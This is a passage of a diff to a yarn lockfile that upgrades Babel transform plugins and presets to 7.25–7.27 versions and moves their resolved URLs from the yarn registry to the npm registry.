+    "@babel/plugin-transform-react-jsx" "^7.25.9"
 
-"@babel/plugin-transform-react-pure-annotations@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.18.6.tgz#561af267f19f3e5d59291f9950fd7b9663d0d844"
-  integrity sha512-I8VfEPg9r2TRDdvnHgPepTKvuRomzA8+u+nhY7qSI1fR2hRNebasZEETLyM5mAUr0Ku56OkXJ0I7NHJnO6cJiQ==
+"@babel/plugin-transform-react-jsx@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.25.9.tgz"
+  integrity sha512-s5XwpQYCqGerXl+Pu6VDL3x0j2d82eiV77UJ8a2mDHAW7j9SWRqQ2y1fNo1Z74CdcYipl5Z41zvjj4Nfzq36rw==
   dependencies:
-    "@babel/helper-annotate-as-pure" "^7.18.6"
-    "@babel/helper-plugin-utils" "^7.18.6"
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-module-imports" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/plugin-syntax-jsx" "^7.25.9"
+    "@babel/types" "^7.25.9"
 
-"@babel/plugin-transform-regenerator@^7.21.5":
-  version "7.21.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.21.5.tgz#576c62f9923f94bcb1c855adc53561fd7913724e"
-  integrity sha512-ZoYBKDb6LyMi5yCsByQ5jmXsHAQDDYeexT1Szvlmui+lADvfSecr5Dxd/PkrTC3pAD182Fcju1VQkB4oCp9M+w==
+"@babel/plugin-transform-react-pure-annotations@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.25.9.tgz"
+  integrity sha512-KQ/Takk3T8Qzj5TppkS1be588lkbTp5uj7w6a0LeQaTMSckU/wK0oJ/pih+T690tkgI5jfmg2TqDJvd41Sj1Cg==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.21.5"
-    regenerator-transform "^0.15.1"
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-reserved-words@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.18.6.tgz#b1abd8ebf8edaa5f7fe6bbb8d2133d23b6a6f76a"
-  integrity sha512-oX/4MyMoypzHjFrT1CdivfKZ+XvIPMFXwwxHp/r0Ddy2Vuomt4HDFGmft1TAY2yiTKiNSsh3kjBAzcM8kSdsjA==
+"@babel/plugin-transform-regenerator@^7.25.9":
+  version "7.27.0"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.27.0.tgz"
+  integrity sha512-LX/vCajUJQDqE7Aum/ELUMZAY19+cDpghxrnyt5I1tV6X5PyC86AOoWXWFYFeIvauyeSA6/ktn4tQVn/3ZifsA==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.18.6"
+    "@babel/helper-plugin-utils" "^7.26.5"
+    regenerator-transform "^0.15.2"
 
-"@babel/plugin-transform-shorthand-properties@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.18.6.tgz#6d6df7983d67b195289be24909e3f12a8f664dc9"
-  integrity sha512-eCLXXJqv8okzg86ywZJbRn19YJHU4XUa55oz2wbHhaQVn/MM+XhukiT7SYqp/7o00dg52Rj51Ny+Ecw4oyoygw==
+"@babel/plugin-transform-regexp-modifiers@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-regexp-modifiers/-/plugin-transform-regexp-modifiers-7.26.0.tgz"
+  integrity sha512-vN6saax7lrA2yA/Pak3sCxuD6F5InBjn9IcrIKQPjpsLvuHYLVroTxjdlVRHjjBWxKOqIwpTXDkOssYT4BFdRw==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.18.6"
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-spread@^7.20.7":
-  version "7.20.7"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-spread/-/plugin-transform-spread-7.20.7.tgz#c2d83e0b99d3bf83e07b11995ee24bf7ca09401e"
-  integrity sha512-ewBbHQ+1U/VnH1fxltbJqDeWBU1oNLG8Dj11uIv3xVf7nrQu0bPGe5Rf716r7K5Qz+SqtAOVswoVunoiBtGhxw==
+"@babel/plugin-transform-reserved-words@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.25.9.tgz"
+  integrity sha512-7DL7DKYjn5Su++4RXu8puKZm2XBPHyjWLUidaPEkCUBbE7IPcsrkRHggAOOKydH1dASWdcUBxrkOGNxUv5P3Jg==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.20.2"
-    "@babel/helper-skip-transparent-expression-wrappers" "^7.20.0"
-
-"@babel/plugin-transform-sticky-regex@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.18.6.tgz#c6706eb2b1524028e317720339583ad0f444adcc"
-  integrity sha512-kfiDrDQ+PBsQDO85yj1icueWMfGfJFKN1KCkndygtu/C9+XUfydLC8Iv5UYJqRwy4zk8EcplRxEOeLyjq1gm6Q==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.18.6"
-
-"@babel/plugin-transform-template-literals@^7.18.9":
-  version "7.18.9"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.18.9.tgz#04ec6f10acdaa81846689d63fae117dd9c243a5e"
-  integrity sha512-S8cOWfT82gTezpYOiVaGHrCbhlHgKhQt8XH5ES46P2XWmX92yisoZywf5km75wv5sYcXDUCLMmMxOLCtthDgMA==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.18.9"
-
-"@babel/plugin-transform-typeof-symbol@^7.18.9":
-  version "7.18.9"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.18.9.tgz#c8cea68263e45addcd6afc9091429f80925762c0"
-  integrity sha512-SRfwTtF11G2aemAZWivL7PD+C9z52v9EvMqH9BuYbabyPuKUvSWks3oCg6041pT925L4zVFqaVBeECwsmlguEw==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.18.9"
-
-"@babel/plugin-transform-typescript@^7.18.6":
-  version "7.19.1"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.19.1.tgz#adcf180a041dcbd29257ad31b0c65d4de531ce8d"
-  integrity sha512-+ILcOU+6mWLlvCwnL920m2Ow3wWx3Wo8n2t5aROQmV55GZt+hOiLvBaa3DNzRjSEHa1aauRs4/YLmkCfFkhhRQ==
-  dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.19.0"
-    "@babel/helper-plugin-utils" "^7.19.0"
-    "@babel/plugin-syntax-typescript" "^7.18.6"
-
-"@babel/plugin-transform-unicode-escapes@^7.21.5":
-  version "7.21.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.21.5.tgz#1e55ed6195259b0e9061d81f5ef45a9b009fb7f2"
-  integrity sha512-LYm/gTOwZqsYohlvFUe/8Tujz75LqqVC2w+2qPHLR+WyWHGCZPN1KBpJCJn+4Bk4gOkQy/IXKIge6az5MqwlOg==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.21.5"
-
-"@babel/plugin-transform-unicode-property-regex@^7.22.3":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-property-regex/-/plugin-transform-unicode-property-regex-7.22.3.tgz#597b6a614dc93eaae605ee293e674d79d32eb380"
-  integrity sha512-5ScJ+OmdX+O6HRuMGW4kv7RL9vIKdtdAj9wuWUKy1wbHY3jaM/UlyIiC1G7J6UJiiyMukjjK0QwL3P0vBd0yYg==
-  dependencies:
-    "@babel/helper-create-regexp-features-plugin" "^7.22.1"
-    "@babel/helper-plugin-utils" "^7.21.5"
-
-"@babel/plugin-transform-unicode-regex@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.18.6.tgz#194317225d8c201bbae103364ffe9e2cea36cdca"
-  integrity sha512-gE7A6Lt7YLnNOL3Pb9BNeZvi+d8l7tcRrG4+pwJjK9hD2xX4mEvjlQW60G9EEmfXVYRPv9VRQcyegIVHCql/AA==
-  dependencies:
-    "@babel/helper-create-regexp-features-plugin" "^7.18.6"
-    "@babel/helper-plugin-utils" "^7.18.6"
-
-"@babel/plugin-transform-unicode-sets-regex@^7.22.3":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-sets-regex/-/plugin-transform-unicode-sets-regex-7.22.3.tgz#7c14ee33fa69782b0101d0f7143d3fc73ce00700"
-  integrity sha512-hNufLdkF8vqywRp+P55j4FHXqAX2LRUccoZHH7AFn1pq5ZOO2ISKW9w13bFZVjBoTqeve2HOgoJCcaziJVhGNw==
-  dependencies:
-    "@babel/helper-create-regexp-features-plugin" "^7.22.1"
-    "@babel/helper-plugin-utils" "^7.21.5"
-
-"@babel/preset-env@^7.22.4":
-  version "7.22.4"
-  resolved "https://registry.yarnpkg.com/@babel/preset-env/-/preset-env-7.22.4.tgz#c86a82630f0e8c61d9bb9327b7b896732028cbed"
-  integrity sha512-c3lHOjbwBv0TkhYCr+XCR6wKcSZ1QbQTVdSkZUaVpLv8CVWotBMArWUi5UAJrcrQaEnleVkkvaV8F/pmc/STZQ==
-  dependencies:
-    "@babel/compat-data" "^7.22.3"
-    "@babel/helper-compilation-targets" "^7.22.1"
-    "@babel/helper-plugin-utils" "^7.21.5"
-    "@babel/helper-validator-option" "^7.21.0"
-    "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression" "^7.18.6"
-    "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining" "^7.22.3"
-    "@babel/plugin-proposal-private-property-in-object" "^7.21.0"
-    "@babel/plugin-syntax-async-generators" "^7.8.4"
-    "@babel/plugin-syntax-class-properties" "^7.12.13"
-    "@babel/plugin-syntax-class-static-block" "^7.14.5"
-    "@babel/plugin-syntax-dynamic-import" "^7.8.3"
-    "@babel/plugin-syntax-export-namespace-from" "^7.8.3"
-    "@babel/plugin-syntax-import-assertions" "^7.20.0"
-    "@babel/plugin-syntax-import-attributes" "^7.22.3"
-    "@babel/plugin-syntax-import-meta" "^7.10.4"
-    "@babel/plugin-syntax-json-strings" "^7.8.3"
-    "@babel/plugin-syntax-logical-assignment-operators" "^7.10.4"
-    "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.3"
-    "@babel/plugin-syntax-numeric-separator" "^7.10.4"
-    "@babel/plugin-syntax-object-rest-spread" "^7.8.3"
-    "@babel/plugin-syntax-optional-catch-binding" "^7.8.3"
-    "@babel/plugin-syntax-optional-chaining" "^7.8.3"
-    "@babel/plugin-syntax-private-property-in-object" "^7.14.5"
-    "@babel/plugin-syntax-top-level-await" "^7.14.5"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-shorthand-properties@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.25.9.tgz"
+  integrity sha512-MUv6t0FhO5qHnS/W8XCbHmiRWOphNufpE1IVxhK5kuN3Td9FT1x4rx4K42s3RYdMXCXpfWkGSbCSd0Z64xA7Ng==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-spread@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.25.9.tgz"
+  integrity sha512-oNknIB0TbURU5pqJFVbOOFspVlrpVwo2H1+HUIsVDvp5VauGGDP1ZEvO8Nn5xyMEs3dakajOxlmkNW7kNgSm6A==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+
+"@babel/plugin-transform-sticky-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.25.9.tgz"
+  integrity sha512-WqBUSgeVwucYDP9U/xNRQam7xV8W5Zf+6Eo7T2SRVUFlhRiMNFdFz58u0KZmCVVqs2i7SHgpRnAhzRNmKfi2uA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-template-literals@^7.26.8":
+  version "7.26.8"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.26.8.tgz"
+  integrity sha512-OmGDL5/J0CJPJZTHZbi2XpO0tyT2Ia7fzpW5GURwdtp2X3fMmN8au/ej6peC/T33/+CRiIpA8Krse8hFGVmT5Q==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.26.5"
+
+"@babel/plugin-transform-typeof-symbol@^7.26.7":
+  version "7.27.0"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.27.0.tgz"
+  integrity sha512-+LLkxA9rKJpNoGsbLnAgOCdESl73vwYn+V6b+5wHbrE7OGKVDPHIQvbFSzqE6rwqaCw2RE+zdJrlLkcf8YOA0w==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.26.5"
+
+"@babel/plugin-transform-typescript@^7.25.9", "@babel/plugin-transform-typescript@^7.27.0":
+  version "7.27.0"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.27.0.tgz"
+  integrity sha512-fRGGjO2UEGPjvEcyAZXRXAS8AfdaQoq7HnxAbJoAoW10B9xOKesmmndJv+Sym2a+9FHWZ9KbyyLCe9s0Sn5jtg==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-create-class-features-plugin" "^7.27.0"
+    "@babel/helper-plugin-utils" "^7.26.5"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+    "@babel/plugin-syntax-typescript" "^7.25.9"
+
+"@babel/plugin-transform-typescript@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.27.1.tgz#d3bb65598bece03f773111e88cc4e8e5070f1140"
+  integrity sha512-Q5sT5+O4QUebHdbwKedFBEwRLb02zJ7r4A5Gg2hUoLuU3FjdMcyqcywqUrLCaDsFCxzokf7u9kuy7qz51YUuAg==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.27.1"
+    "@babel/helper-create-class-features-plugin" "^7.27.1"
+    "@babel/helper-plugin-utils" "^7.27.1"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.27.1"
+    "@babel/plugin-syntax-typescript" "^7.27.1"
+
+"@babel/plugin-transform-unicode-escapes@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.25.9.tgz"
+  integrity sha512-s5EDrE6bW97LtxOcGj1Khcx5AaXwiMmi4toFWRDP9/y0Woo6pXC+iyPu/KuhKtfSrNFd7jJB+/fkOtZy6aIC6Q==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-unicode-property-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-unicode-property-regex/-/plugin-transform-unicode-property-regex-7.25.9.tgz"
+  integrity sha512-Jt2d8Ga+QwRluxRQ307Vlxa6dMrYEMZCgGxoPR8V52rxPyldHu3hdlHspxaqYmE7oID5+kB+UKUB/eWS+DkkWg==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-unicode-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.25.9.tgz"
+  integrity sha512-yoxstj7Rg9dlNn9UQxzk4fcNivwv4nUYz7fYXBaKxvw/lnmPuOm/ikoELygbYq68Bls3D/D+NBPHiLwZdZZ4HA==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-unicode-sets-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-unicode-sets-regex/-/plugin-transform-unicode-sets-regex-7.25.9.tgz"
+  integrity sha512-8BYqO3GeVNHtx69fdPshN3fnzUNLrWdHhk/icSwigksJGczKSizZ+Z6SBCxTs723Fr5VSNorTIK7a+R2tISvwQ==
+  dependencies:
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/preset-env@^7.22.4", "@babel/preset-env@^7.26.9":
+  version "7.26.9"
+  resolved "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.26.9.tgz"
+  integrity sha512-vX3qPGE8sEKEAZCWk05k3cpTAE3/nOYca++JA+Rd0z2NCNzabmYvEiSShKzm10zdquOIAVXsy2Ei/DTW34KlKQ==
+  dependencies:
+    "@babel/compat-data" "^7.26.8"
+    "@babel/helper-compilation-targets" "^7.26.5"
+    "@babel/helper-plugin-utils" "^7.26.5"
+    "@babel/helper-validator-option" "^7.25.9"
+    "@babel/plugin-bugfix-firefox-class-in-computed-class-key" "^7.25.9"
+    "@babel/plugin-bugfix-safari-class-field-initializer-scope" "^7.25.9"
+    "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression" "^7.25.9"
+    "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining" "^7.25.9"
+    "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly" "^7.25.9"
+    "@babel/plugin-proposal-private-property-in-object" "7.21.0-placeholder-for-preset-env.2"
+    "@babel/plugin-syntax-import-assertions" "^7.26.0"
+    "@babel/plugin-syntax-import-attributes" "^7.26.0"
     "@babel/plugin-syntax-unicode-sets-regex" "^7.18.6"
-    "@babel/plugin-transform-arrow-functions" "^7.21.5"
-    "@babel/plugin-transform-async-generator-functions" "^7.22.3"
-    "@babel/plugin-transform-async-to-generator" "^7.20.7"
-    "@babel/plugin-transform-block-scoped-functions" "^7.18.6"
-    "@babel/plugin-transform-block-scoping" "^7.21.0"
-    "@babel/plugin-transform-class-properties" "^7.22.3"
-    "@babel/plugin-transform-class-static-block" "^7.22.3"
-    "@babel/plugin-transform-classes" "^7.21.0"
-    "@babel/plugin-transform-computed-properties" "^7.21.5"
-    "@babel/plugin-transform-destructuring" "^7.21.3"
-    "@babel/plugin-transform-dotall-regex" "^7.18.6"
-    "@babel/plugin-transform-duplicate-keys" "^7.18.9"
-    "@babel/plugin-transform-dynamic-import" "^7.22.1"
-    "@babel/plugin-transform-exponentiation-operator" "^7.18.6"
-    "@babel/plugin-transform-export-namespace-from" "^7.22.3"
-    "@babel/plugin-transform-for-of" "^7.21.5"
-    "@babel/plugin-transform-function-name" "^7.18.9"
-    "@babel/plugin-transform-json-strings" "^7.22.3"
-    "@babel/plugin-transform-literals" "^7.18.9"
-    "@babel/plugin-transform-logical-assignment-operators" "^7.22.3"
-    "@babel/plugin-transform-member-expression-literals" "^7.18.6"
-    "@babel/plugin-transform-modules-amd" "^7.20.11"
-    "@babel/plugin-transform-modules-commonjs" "^7.21.5"
-    "@babel/plugin-transform-modules-systemjs" "^7.22.3"
-    "@babel/plugin-transform-modules-umd" "^7.18.6"
-    "@babel/plugin-transform-named-capturing-groups-regex" "^7.22.3"
-    "@babel/plugin-transform-new-target" "^7.22.3"
-    "@babel/plugin-transform-nullish-coalescing-operator" "^7.22.3"
-    "@babel/plugin-transform-numeric-separator" "^7.22.3"
-    "@babel/plugin-transform-object-rest-spread" "^7.22.3"
-    "@babel/plugin-transform-object-super" "^7.18.6"
-    "@babel/plugin-transform-optional-catch-binding" "^7.22.3"
-    "@babel/plugin-transform-optional-chaining" "^7.22.3"
-    "@babel/plugin-transform-parameters" "^7.22.3"
-    "@babel/plugin-transform-private-methods" "^7.22.3"
-    "@babel/plugin-transform-private-property-in-object" "^7.22.3"
-    "@babel/plugin-transform-property-literals" "^7.18.6"
-    "@babel/plugin-transform-regenerator" "^7.21.5"
-    "@babel/plugin-transform-reserved-words" "^7.18.6"
-    "@babel/plugin-transform-shorthand-properties" "^7.18.6"
-    "@babel/plugin-transform-spread" "^7.20.7"
-    "@babel/plugin-transform-sticky-regex" "^7.18.6"
-    "@babel/plugin-transform-template-literals" "^7.18.9"
-    "@babel/plugin-transform-typeof-symbol" "^7.18.9"
-    "@babel/plugin-transform-unicode-escapes" "^7.21.5"
-    "@babel/plugin-transform-unicode-property-regex" "^7.22.3"
-    "@babel/plugin-transform-unicode-regex" "^7.18.6"
-    "@babel/plugin-transform-unicode-sets-regex" "^7.22.3"
-    "@babel/preset-modules" "^0.1.5"
-    "@babel/types" "^7.22.4"
-    babel-plugin-polyfill-corejs2 "^0.4.3"
-    babel-plugin-polyfill-corejs3 "^0.8.1"
-    babel-plugin-polyfill-regenerator "^0.5.0"
-    core-js-compat "^3.30.2"
-    semver "^6.3.0"
+    "@babel/plugin-transform-arrow-functions" "^7.25.9"
+    "@babel/plugin-transform-async-generator-functions" "^7.26.8"
+    "@babel/plugin-transform-async-to-generator" "^7.25.9"
+    "@babel/plugin-transform-block-scoped-functions" "^7.26.5"
+    "@babel/plugin-transform-block-scoping" "^7.25.9"
+    "@babel/plugin-transform-class-properties" "^7.25.9"
+    "@babel/plugin-transform-class-static-block" "^7.26.0"
+    "@babel/plugin-transform-classes" "^7.25.9"
+    "@babel/plugin-transform-computed-properties" "^7.25.9"
+    "@babel/plugin-transform-destructuring" "^7.25.9"
+    "@babel/plugin-transform-dotall-regex" "^7.25.9"
+    "@babel/plugin-transform-duplicate-keys" "^7.25.9"
+    "@babel/plugin-transform-duplicate-named-capturing-groups-regex" "^7.25.9"
+    "@babel/plugin-transform-dynamic-import" "^7.25.9"
+    "@babel/plugin-transform-exponentiation-operator" "^7.26.3"
+    "@babel/plugin-transform-export-namespace-from" "^7.25.9"
+    "@babel/plugin-transform-for-of" "^7.26.9"
+    "@babel/plugin-transform-function-name" "^7.25.9"
+    "@babel/plugin-transform-json-strings" "^7.25.9"
+    "@babel/plugin-transform-literals" "^7.25.9"
+    "@babel/plugin-transform-logical-assignment-operators" "^7.25.9"
+    "@babel/plugin-transform-member-expression-literals" "^7.25.9"
+    "@babel/plugin-transform-modules-amd" "^7.25.9"
+    "@babel/plugin-transform-modules-commonjs" "^7.26.3"
+    "@babel/plugin-transform-modules-systemjs" "^7.25.9"
+    "@babel/plugin-transform-modules-umd" "^7.25.9"
+    "@babel/plugin-transform-named-capturing-groups-regex" "^7.25.9"
+    "@babel/plugin-transform-new-target" "^7.25.9"
+    "@babel/plugin-transform-nullish-coalescing-operator" "^7.26.6"
+    "@babel/plugin-transform-numeric-separator" "^7.25.9"
+    "@babel/plugin-transform-object-rest-spread" "^7.25.9"
+    "@babel/plugin-transform-object-super" "^7.25.9"
+    "@babel/plugin-transform-optional-catch-binding" "^7.25.9"
+    "@babel/plugin-transform-optional-chaining" "^7.25.9"
+    "@babel/plugin-transform-parameters" "^7.25.9"
+    "@babel/plugin-transform-private-methods" "^7.25.9"
+    "@babel/plugin-transform-private-property-in-object" "^7.25.9"
+    "@babel/plugin-transform-property-literals" "^7.25.9"
+    "@babel/plugin-transform-regenerator" "^7.25.9"
+    "@babel/plugin-transform-regexp-modifiers" "^7.26.0"
+    "@babel/plugin-transform-reserved-words" "^7.25.9"
+    "@babel/plugin-transform-shorthand-properties" "^7.25.9"
+    "@babel/plugin-transform-spread" "^7.25.9"
+    "@babel/plugin-transform-sticky-regex" "^7.25.9"
+    "@babel/plugin-transform-template-literals" "^7.26.8"
+    "@babel/plugin-transform-typeof-symbol" "^7.26.7"
+    "@babel/plugin-transform-unicode-escapes" "^7.25.9"
+    "@babel/plugin-transform-unicode-property-regex" "^7.25.9"
+    "@babel/plugin-transform-unicode-regex" "^7.25.9"
+    "@babel/plugin-transform-unicode-sets-regex" "^7.25.9"
+    "@babel/preset-modules" "0.1.6-no-external-plugins"
+    babel-plugin-polyfill-corejs2 "^0.4.10"
+    babel-plugin-polyfill-corejs3 "^0.11.0"
+    babel-plugin-polyfill-regenerator "^0.6.1"
+    core-js-compat "^3.40.0"
+    semver "^6.3.1"
 
 "@babel/preset-flow@^7.7.4":
   version "7.22.5"
-  resolved "https://registry.yarnpkg.com/@babel/preset-flow/-/preset-flow-7.22.5.tgz#876f24ab6b38bd79703a93f32020ca2162312784"
+  resolved "https://registry.npmjs.org/@babel/preset-flow/-/preset-flow-7.22.5.tgz"
   integrity sha512-ta2qZ+LSiGCrP5pgcGt8xMnnkXQrq8Sa4Ulhy06BOlF5QbLw9q5hIx7bn5MrsvyTGAfh6kTOo07Q+Pfld/8Y5Q==
   dependencies:
     "@babel/helper-plugin-utils" "^7.22.5"
     "@babel/helper-validator-option" "^7.22.5"
     "@babel/plugin-transform-flow-strip-types" "^7.22.5"
 
-"@babel/preset-modules@^0.1.5":
-  version "0.1.5"
-  resolved "https://registry.yarnpkg.com/@babel/preset-modules/-/preset-modules-0.1.5.tgz#ef939d6e7f268827e1841638dc6ff95515e115d9"
-  integrity sha512-A57th6YRG7oR3cq/yt/Y84MvGgE0eJG2F1JLhKuyG+jFxEgrd/HAMJatiFtmOiZurz+0DkrvbheCLaV5f2JfjA==
+"@babel/preset-modules@0.1.6-no-external-plugins":
+  version "0.1.6-no-external-plugins"
+  resolved "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.6-no-external-plugins.tgz"
+  integrity sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA==
   dependencies:
     "@babel/helper-plugin-utils" "^7.0.0"
-    "@babel/plugin-proposal-unicode-property-regex" "^7.4.4"
-    "@babel/plugin-transform-dotall-regex" "^7.4.4"
     "@babel/types" "^7.4.4"
     esutils "^2.0.2"
 
 "@babel/preset-react@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/preset-react/-/preset-react-7.18.6.tgz#979f76d6277048dc19094c217b507f3ad517dd2d"
-  integrity sha512-zXr6atUmyYdiWRVLOZahakYmOBHtWc2WGCkP8PYTgZi0iJXDY2CN180TdrIW4OGOAdLc7TifzDIvtx6izaRIzg==
+  version "7.26.3"
+  resolved "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.26.3.tgz"
+  integrity sha512-Nl03d6T9ky516DGK2YMxrTqvnpUW63TnJMOMonj+Zae0JiPC5BC9xPMSL6L8fiSpA5vP88qfygavVQvnLp+6Cw==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.18.6"
-    "@babel/helper-validator-option" "^7.18.6"
-    "@babel/plugin-transform-react-display-name" "^7.18.6"
-    "@babel/plugin-transform-react-jsx" "^7.18.6"
-    "@babel/plugin-transform-react-jsx-development" "^7.18.6"
-    "@babel/plugin-transform-react-pure-annotations" "^7.18.6"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-validator-option" "^7.25.9"
+    "@babel/plugin-transform-react-display-name" "^7.25.9"
+    "@babel/plugin-transform-react-jsx" "^7.25.9"
+    "@babel/plugin-transform-react-jsx-development" "^7.25.9"
+    "@babel/plugin-transform-react-pure-annotations" "^7.25.9"
 
 "@babel/preset-typescript@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/preset-typescript/-/preset-typescript-7.18.6.tgz#ce64be3e63eddc44240c6358daefac17b3186399"
-  integrity sha512-s9ik86kXBAnD760aybBucdpnLsAt0jK1xqJn2juOn9lkOvSHV60os5hxoVJsPzMQxvnUJFAlkont2DvvaYEBtQ==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.18.6"
-    "@babel/helper-validator-option" "^7.18.6"
-    "@babel/plugin-transform-typescript" "^7.18.6"
+  version "7.27.0"
+  resolved "https://registry.npmjs.org/@babel/preset-typescript/-/preset-typescript-7.27.0.tgz"
+  integrity sha512-vxaPFfJtHhgeOVXRKuHpHPAOgymmy8V8I65T1q53R7GCZlefKeCaTyDs3zOPHTTbmquvNlQYC5klEvWsBAtrBQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.26.5"
+    "@babel/helper-validator-option" "^7.25.9"
+    "@babel/plugin-syntax-jsx" "^7.25.9"
+    "@babel/plugin-transform-modules-commonjs" "^7.26.3"
+    "@babel/plugin-transform-typescript" "^7.27.0"
+
+"@babel/preset-typescript@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.npmjs.org/@babel/preset-typescript/-/preset-typescript-7.26.0.tgz"
+  integrity sha512-NMk1IGZ5I/oHhoXEElcm+xUnL/szL6xflkFZmoEU9xj1qSJXpiS7rsspYo92B4DRCDvZn2erT5LdsCeXAKNCkg==
+  dependencies:
